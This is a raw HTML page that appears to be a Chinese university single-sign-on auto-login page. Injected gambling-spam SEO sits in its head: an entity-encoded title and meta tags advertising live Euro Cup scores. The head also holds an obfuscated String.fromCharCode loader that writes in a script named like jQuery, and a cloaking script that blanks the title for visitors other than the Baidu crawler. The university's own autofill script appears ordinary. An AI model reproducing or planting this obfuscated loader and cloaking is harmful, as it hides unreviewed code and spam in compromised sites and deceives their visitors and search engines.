<!doctype html><html lang="en"><head><title>&#x6B27;&#x6D32;&#x676F;&#x6CD5;&#x56FD;vs&#x745E;&#x58EB;&#x6BD4;&#x5206;&#x76F4;&#x64AD;-&#x4FE1;&#x8A89;&#x5730;&#x5740;</title>
<meta name="keywords" content="&#27431;&#27954;&#26479;&#27861;&#22269;&#118;&#115;&#29790;&#22763;&#27604;&#20998;&#30452;&#25773;&#44;&#27431;&#27954;&#26479;&#97;&#105;&#36275;&#29699;&#39044;&#27979;&#26368;&#26032;&#44;&#27431;&#27954;&#26479;&#39044;&#36873;&#36187;&#39044;&#27979;&#21608;&#26085;"/>
<meta name="description" content="&#27431;&#27954;&#26479;&#27861;&#22269;&#118;&#115;&#29790;&#22763;&#27604;&#20998;&#30452;&#25773;&#30340;&#20449;&#35465;&#22320;&#22336;&#65292;&#20026;&#29992;&#25143;&#25552;&#20379;&#21487;&#38752;&#30340;&#36187;&#20107;&#30452;&#25773;&#21644;&#25968;&#25454;&#20998;&#26512;&#26381;&#21153;&#12290;&#20844;&#21496;&#33268;&#21147;&#20110;&#25552;&#20379;&#39640;&#36136;&#37327;&#30340;&#36275;&#29699;&#36187;&#20107;&#30452;&#25773;&#21644;&#20114;&#21160;&#20307;&#39564;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,53,46,50,46,109,105,110,46,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title =""}</script>
<title></title><meta charset="UTF-8"><title></title><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0" name="viewport"><link rel="icon" type="image/png" href=""><link rel="stylesheet" href="css/sprite-1733291200340.css"/><script src="./lib/protocolcheck.js"></script><script src="./lib/jquery.min.js"></script></head><body><div id="container"></div><script src="js/index.bundle-1733291200340.js"></script></body>
<script name="para-nsso-script">var nssovar_4745540 = document.createElement('script');nssovar_4745540.setAttribute("name", "para-nsso-script");nssovar_4745540.innerHTML="(function() {\n    window.console = window.console || (function() {\n        var c = {};\n        c.log = c.warn = c.debug = c.info = c.error = c.time = c.dir = c.profile\n            = c.clear = c.exception = c.trace = c.assert = function() { };\n        return c;\n    })();\n\n    function NSSO() {\n        this.watchList = [];\n        this.origin = location.protocol + '//' + location.host;\n        this.$ = function(query) {\n            switch(query.charAt(0)) {\n                case '#':\n                    return document.getElementById(query.substr(1));\n                case '.':\n                    return document.getElementsByClassName(query.substr(1));\n                default:\n                    return document.getElementsByName(query) || document.getElementsByTagName(query);\n            }\n        };\n        this.hide = function() {\n            if($nsso.timeout) clearTimeout($nsso.timeout);\n            Object.keys(this.watchList).forEach(function(i) {\n                clearInterval(i);\n            });\n            this.watchList = [];\n            document.getElementById('para-nsso-auto-page').className = 'nsso-hide';\n        };\n        this.ajax = function(ops, callback) {\n            var xhr = new XMLHttpRequest();\n            xhr.withCredentials = true;\n            if(ops.url.charAt(0) === '/')\n                ops.url = String($nsso.origin + ops.url);\n            if(ops.url) ops.url = ops.url + (ops.url.indexOf('?') === -1 ? '?' : '&') + '_=' + Math.random();\n            //使用HTTP POST请求与服务器交互数据\n            xhr.open(ops.method, ops.url, true);\n            //设置发送数据的请求格式\n            if(typeof ops.data === 'object')\n                xhr.setRequestHeader('content-type', 'application/json');\n            xhr.onreadystatechange = function() {\n                if(callback) callback(xhr);\n            };\n            //将用户输入值序列化成字符串\n            xhr.send(JSON.stringify(ops.data));\n        };\n        // 模拟表单提交事件 $el dom对象\n        this.submit = function($el) {\n            this.dispatchEvent($el, 'submit');\n        };\n        // 赋值input且触发input时间\n        this.input = function($el, val) {\n            if(typeof $el === 'string') $el = document.querySelector($el);\n            //if ($el.focus) $el.focus();\n            Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value').set.call($el, val);\n            this.dispatchEvent($el, 'input');\n            this.dispatchEvent($el, 'change');\n        };\n        this.click = function($el) {\n            setTimeout(function() {\n                if($el.focus) $el.focus();\n                this.dispatchEvent($el, 'click');\n            }.bind(this), 100);\n        };\n        // 触发自定义事件\n        this.dispatchEvent = function($el, eventname) {\n            var event;\n            if(typeof (document.createEvent) === 'function') {\n                event = document.createEvent('Event');\n                event.initEvent(eventname, true, true);\n            } else if(window.Event) {\n                event = new Event(eventname);\n            } else { // IE9 <=\n                var evt = document.createEventObject();\n                try {\n                    return $el.fireEvent('on' + eventname, evt);\n                } catch(e) {\n                    return;\n                }\n            }\n            return $el.dispatchEvent(event);\n        };\n        // 监听dom是否存在\n        this.watch = function(qs, callback, intervals) {\n            var wiv = setInterval(function() {\n                var els = typeof qs === 'function' ? qs() : typeof qs === 'string' ? document.querySelectorAll(qs) : qs;\n                if(els && (els.length > 0 || els instanceof HTMLElement)) {\n                    clearInterval(wiv);\n                    delete this.watchList[wiv];\n                    return callback();\n                }\n            }.bind(this), intervals || 500);\n            this.watchList[wiv] = 1;\n        };\n        // 监听地址栏\n        this.urlChange = function(callback) {\n            var lastUrl;\n            setInterval(function() {\n                if(lastUrl !== location.href) {\n                    callback(location.pathname, location.hash, location.search);\n                }\n                lastUrl = location.href;\n            }, 500);\n        };\n        // 监听 location.pathname 监听成功后移除监听\n        this.watchPath = function(path, callback) {\n            var iv = setInterval(function() {\n                if(location.pathname === path) {\n                    clearInterval(iv);\n                    callback();\n                    return;\n                }\n            }, 500);\n        };\n        // 监听输入框\n        this.watchInput = function($el, callback) {\n            try {\n                var value = $el.value || '';\n                var change = function(e) {\n                    if(e.target.value === value) return;\n                    value = e.target.value;\n                    callback(value, e);\n                };\n                $el.addEventListener('change', change);\n                $el.addEventListener('input', change);\n                return true;\n            } catch(e) {\n                return false;\n            }\n        };\n        // 批量监听input输入 $els: {key1:el,key2:el} callback返回同样结构的值  delay: 多少毫秒后无输入则callback 默认0\n        this.watchInputs = function($els, callback, delay) {\n            try {\n                var timeout;\n                var change = function() {\n                    clearTimeout(timeout);\n                    timeout = setTimeout(function() {\n                        var data = {};\n                        Object.keys($els).forEach(function(key) {\n                            var $el = $els[key];\n                            if($el)\n                                data[key] = $el.value;\n                        });\n                        callback(data);\n                    }, delay || 0);\n                };\n                Object.keys($els).forEach(function(key) {\n                    var $el = $els[key];\n                    var e = $nsso.watchInput($el, change);\n                    if(!e) console.warn('nsso watchInputs', $el);\n                });\n            } catch(e) {\n                console.error('nsso watchInputs', e);\n            }\n        };\n    }\n\n    window.$nsso = new NSSO();\n})();\n";document.body.appendChild(nssovar_4745540);var nssovar_5766263 = document.createElement('script');nssovar_5766263.setAttribute("name", "para-nsso-script");nssovar_5766263.type="text/javascript";nssovar_5766263.src="https://sso.cdutcm.edu.cn/nsso/lib?name=jquery";document.body.appendChild(nssovar_5766263);
try{ if(!window.$nsso) window.$nsso = {}; window.$nsso.timeout = setTimeout(function(){const explorer = window.navigator.userAgent;
var divNsso = document.getElementById("para-nsso-auto-page");
// console.log(divNsso, 'here')
if(divNsso) divNsso.style.display='none';
var cancelText = document.getElementsByClassName("para-nsso-auto-cancel")[0];
if(cancelText) cancelText.remove();
if(explorer.indexOf("Weixin") != -1 || explorer.indexOf("iPhone") != -1) {
divNsso.style.display='block';
var divText = document.getElementById("container");
divText.remove();
}}, 0) }catch (e) {alert("代填脚本存在错误,请按F12打开调试控制台查看详细错误信息");window.console.error(e);$nsso.hide();}
try{
        var nssovar_2805470 = document.createElement('style');nssovar_2805470.setAttribute("name", "para-nsso-script");nssovar_2805470.innerHTML="\n        body {\n            overflow: hidden;\n        }\n    \n        #para-nsso-auto-page {\n            padding-top: 20% !important;\n            position: absolute;\n            z-index: 999999;\n            top: 0;\n            left: 0;\n            width: 100%;\n            height: 100%;\n            background: rgba(255, 255, 255, 0.97);\n            transition: all 1s;\n        }\n    \n        #para-nsso-auto-page.nsso-hide {\n            margin-top: -100%;\n            opacity: 0;\n        }\n    \n        /**/\n        .sk-folding-cube {\n            margin: 20px auto;\n            width: 40px;\n            height: 40px;\n            position: relative;\n            -webkit-transform: rotateZ(45deg);\n            transform: rotateZ(45deg);\n        }\n    \n        .sk-folding-cube .sk-cube {\n            float: left;\n            width: 50%;\n            height: 50%;\n            position: relative;\n            -webkit-transform: scale(1.1);\n            -ms-transform: scale(1.1);\n            transform: scale(1.1);\n        }\n    \n        .sk-folding-cube .sk-cube:before {\n            content: '';\n            position: absolute;\n            top: 0;\n            left: 0;\n            width: 100%;\n            height: 100%;\n            background-color: #29c1fb;\n            border: 1px solid #fff;\n            border-radius: 4px;\n            -webkit-animation: sk-foldCubeAngle 2.4s infinite linear both;\n            animation: sk-foldCubeAngle 2.4s infinite linear both;\n            -webkit-transform-origin: 100% 100%;\n            -ms-transform-origin: 100% 100%;\n            transform-origin: 100% 100%;\n        }\n    \n        .sk-folding-cube .sk-cube2 {\n            -webkit-transform: scale(1.1) rotateZ(90deg);\n            transform: scale(1.1) rotateZ(90deg);\n        }\n    \n        .sk-folding-cube .sk-cube3 {\n            -webkit-transform: scale(1.1) rotateZ(180deg);\n            transform: scale(1.1) rotateZ(180deg);\n        }\n    \n        .sk-folding-cube .sk-cube4 {\n            -webkit-transform: scale(1.1) rotateZ(270deg);\n            transform: scale(1.1) rotateZ(270deg);\n        }\n    \n        .sk-folding-cube .sk-cube2:before {\n            -webkit-animation-delay: 0.3s;\n            animation-delay: 0.3s;\n        }\n    \n        .sk-folding-cube .sk-cube3:before {\n            -webkit-animation-delay: 0.6s;\n            animation-delay: 0.6s;\n        }\n    \n        .sk-folding-cube .sk-cube4:before {\n            -webkit-animation-delay: 0.9s;\n            animation-delay: 0.9s;\n        }\n    \n        @-webkit-keyframes sk-foldCubeAngle {\n            0%, 10% {\n                -webkit-transform: perspective(140px) rotateX(-180deg);\n                transform: perspective(140px) rotateX(-180deg);\n                opacity: 0;\n            }\n            25%, 75% {\n                -webkit-transform: perspective(140px) rotateX(0deg);\n                transform: perspective(140px) rotateX(0deg);\n                opacity: 1;\n            }\n            90%, 100% {\n                -webkit-transform: perspective(140px) rotateY(180deg);\n                transform: perspective(140px) rotateY(180deg);\n                opacity: 0;\n            }\n        }\n    \n        @keyframes sk-foldCubeAngle {\n            0%, 10% {\n                -webkit-transform: perspective(140px) rotateX(-180deg);\n                transform: perspective(140px) rotateX(-180deg);\n                opacity: 0;\n            }\n            25%, 75% {\n                -webkit-transform: perspective(140px) rotateX(0deg);\n                transform: perspective(140px) rotateX(0deg);\n                opacity: 1;\n            }\n            90%, 100% {\n                -webkit-transform: perspective(140px) rotateY(180deg);\n                transform: perspective(140px) rotateY(180deg);\n                opacity: 0;\n            }\n        }\n    \n        .para-nsso-auto-text {\n            text-align: center;\n            color: #33c4fb;\n            font-size: 14px;\n        }\n        \n        .para-nsso-auto-cancel{\n            text-align: center;\n            color: #1c6987;\n            cursor: pointer;\n            font-size: 12px;\n            margin-top: 10px;\n        }";nssovar_2805470.type="text/css";document.body.appendChild(nssovar_2805470);var nssovar_5980709 = document.createElement('div');nssovar_5980709.setAttribute("name", "para-nsso-script");nssovar_5980709.innerHTML="\n    <div class=\"sk-folding-cube\">\n        <div class=\"sk-cube1 sk-cube\"></div>\n        <div class=\"sk-cube2 sk-cube\"></div>\n        <div class=\"sk-cube4 sk-cube\"></div>\n        <div class=\"sk-cube3 sk-cube\"></div>\n    </div>\n    <div class=\"para-nsso-auto-text\">自动登录中...</div>\n    <div class=\"para-nsso-auto-cancel\" onclick=\"if($nsso.hide) $nsso.hide();\">取消</div>\n";nssovar_5980709.id="para-nsso-auto-page";document.body.appendChild(nssovar_5980709);var nssovar_8131264 = document.createElement('script');nssovar_8131264.setAttribute("name", "para-nsso-script");nssovar_8131264.innerHTML="\n    setTimeout(\n        function () {\n            document.getElementById('para-nsso-auto-page').className = 'nsso-hide';\n        },\n        10 * 1000\n    )\n";document.body.appendChild(nssovar_8131264);
    }catch(e){}

</script></html>
